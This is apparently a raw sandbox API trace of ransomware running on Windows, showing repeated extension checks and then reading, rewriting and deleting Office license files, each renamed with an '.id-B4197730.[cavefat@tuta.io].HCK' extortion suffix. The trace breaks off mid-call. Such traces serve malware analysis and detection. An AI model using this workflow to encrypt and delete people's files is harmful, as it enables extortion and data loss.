[0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".zip") returned 4 [0241.148] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".rar") returned 4 [0241.148] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".bz2") returned 4 [0241.148] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.148] lstrlenW (lpString=".7z") returned 3 [0241.148] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.148] lstrlenW (lpString=".dbf") returned 4 [0241.149] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.149] lstrlenW (lpString=".1cd") returned 4 [0241.149] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0241.149] lstrlenW (lpString=".jpg") returned 4 [0241.149] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.149] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.149] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35 [0241.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.150] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11621) returned 1 [0241.150] CloseHandle (hObject=0x340) returned 1 [0241.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220 [0241.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.150] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.150] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.151] GetLastError () returned 0x0 [0241.151] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0241.153] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0241.154] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.154] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11a, lpOverlapped=0x0) returned 1 [0241.154] SetEndOfFile (hFile=0x4c8) returned 1 [0241.154] CloseHandle (hObject=0x4c8) returned 1 [0241.154] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.154] SetEndOfFile (hFile=0x340) returned 1 [0241.156] CloseHandle (hObject=0x340) returned 1 [0241.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1 [0241.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.157] lstrlenW (lpString=".doc") returned 4 [0241.157] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.157] lstrlenW (lpString=".docx") returned 5 [0241.158] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.158] lstrlenW (lpString=".pdf") returned 4 [0241.158] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".xls") returned 4 [0241.158] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".xlsx") returned 5 [0241.158] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.158] lstrlenW (lpString=".ppt") returned 4 [0241.158] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".zip") returned 4 [0241.158] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".rar") returned 4 [0241.158] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".bz2") returned 4 [0241.158] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".7z") returned 3 [0241.158] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".dbf") returned 4 [0241.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".1cd") returned 4 [0241.158] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".jpg") returned 4 [0241.158] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".doc") returned 4 [0241.158] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".docx") returned 5 [0241.158] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.158] lstrlenW (lpString=".pdf") returned 4 [0241.158] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".xls") returned 4 [0241.158] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".xlsx") returned 5 [0241.158] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.158] lstrlenW (lpString=".ppt") returned 4 [0241.158] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".zip") returned 4 [0241.158] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".rar") returned 4 [0241.158] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".bz2") returned 4 [0241.158] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.158] lstrlenW (lpString=".7z") returned 3 [0241.158] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.158] lstrlenW (lpString=".dbf") returned 4 [0241.158] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.159] lstrlenW (lpString=".1cd") returned 4 [0241.159] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85 [0241.159] lstrlenW (lpString=".jpg") returned 4 [0241.159] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.159] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.159] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31 [0241.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.160] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9613) returned 1 [0241.160] CloseHandle (hObject=0x340) returned 1 [0241.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220 [0241.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.160] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.160] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.161] GetLastError () returned 0x0 [0241.161] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x258d, lpOverlapped=0x0) returned 1 [0241.163] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2590, lpOverlapped=0x0) returned 1 [0241.164] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.164] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x112, lpOverlapped=0x0) returned 1 [0241.164] SetEndOfFile (hFile=0x4c8) returned 1 [0241.164] CloseHandle (hObject=0x4c8) returned 1 [0241.164] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.164] SetEndOfFile (hFile=0x340) returned 1 [0241.166] CloseHandle (hObject=0x340) returned 1 [0241.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1 [0241.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.167] lstrlenW (lpString=".doc") returned 4 [0241.167] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString=".docx") returned 5 [0241.167] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.167] lstrlenW (lpString=".pdf") returned 4 [0241.167] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString=".xls") returned 4 [0241.167] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString=".xlsx") returned 5 [0241.167] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.167] lstrlenW (lpString=".ppt") returned 4 [0241.167] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.167] lstrlenW (lpString=".zip") returned 4 [0241.167] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString=".rar") returned 4 [0241.167] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.167] lstrlenW (lpString=".bz2") returned 4 [0241.167] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".7z") returned 3 [0241.168] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".dbf") returned 4 [0241.168] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".1cd") returned 4 [0241.168] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".jpg") returned 4 [0241.168] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".doc") returned 4 [0241.168] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".docx") returned 5 [0241.168] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.168] lstrlenW (lpString=".pdf") returned 4 [0241.168] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".xls") returned 4 [0241.168] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".xlsx") returned 5 [0241.168] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.168] lstrlenW (lpString=".ppt") returned 4 [0241.168] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".zip") returned 4 [0241.168] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".rar") returned 4 [0241.168] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".bz2") returned 4 [0241.168] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString=".7z") returned 3 [0241.168] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".dbf") returned 4 [0241.168] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".1cd") returned 4 [0241.168] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81 [0241.168] lstrlenW (lpString=".jpg") returned 4 [0241.168] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.168] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.168] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25 [0241.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.169] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=10635) returned 1 [0241.169] CloseHandle (hObject=0x340) returned 1 [0241.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220 [0241.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.170] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.170] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.171] GetLastError () returned 0x0 [0241.171] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x298b, lpOverlapped=0x0) returned 1 [0241.503] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2990, lpOverlapped=0x0) returned 1 [0241.504] ReadFile (in: hFile=0x340, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.504] WriteFile (in: hFile=0x4c8, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x106, lpOverlapped=0x0) returned 1 [0241.504] SetEndOfFile (hFile=0x4c8) returned 1 [0241.504] CloseHandle (hObject=0x4c8) returned 1 [0241.504] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.504] SetEndOfFile (hFile=0x340) returned 1 [0241.506] CloseHandle (hObject=0x340) returned 1 [0241.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1 [0242.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.631] lstrlenW (lpString=".doc") returned 4 [0242.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.631] lstrlenW (lpString=".docx") returned 5 [0242.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.631] lstrlenW (lpString=".pdf") returned 4 [0242.631] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.631] lstrlenW (lpString=".xls") returned 4 [0242.631] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.631] lstrlenW (lpString=".xlsx") returned 5 [0242.631] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.632] lstrlenW (lpString=".ppt") returned 4 [0242.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".zip") returned 4 [0242.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".rar") returned 4 [0242.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".bz2") returned 4 [0242.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".7z") returned 3 [0242.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".dbf") returned 4 [0242.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".1cd") returned 4 [0242.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".jpg") returned 4 [0242.632] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".doc") returned 4 [0242.632] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.632] lstrlenW 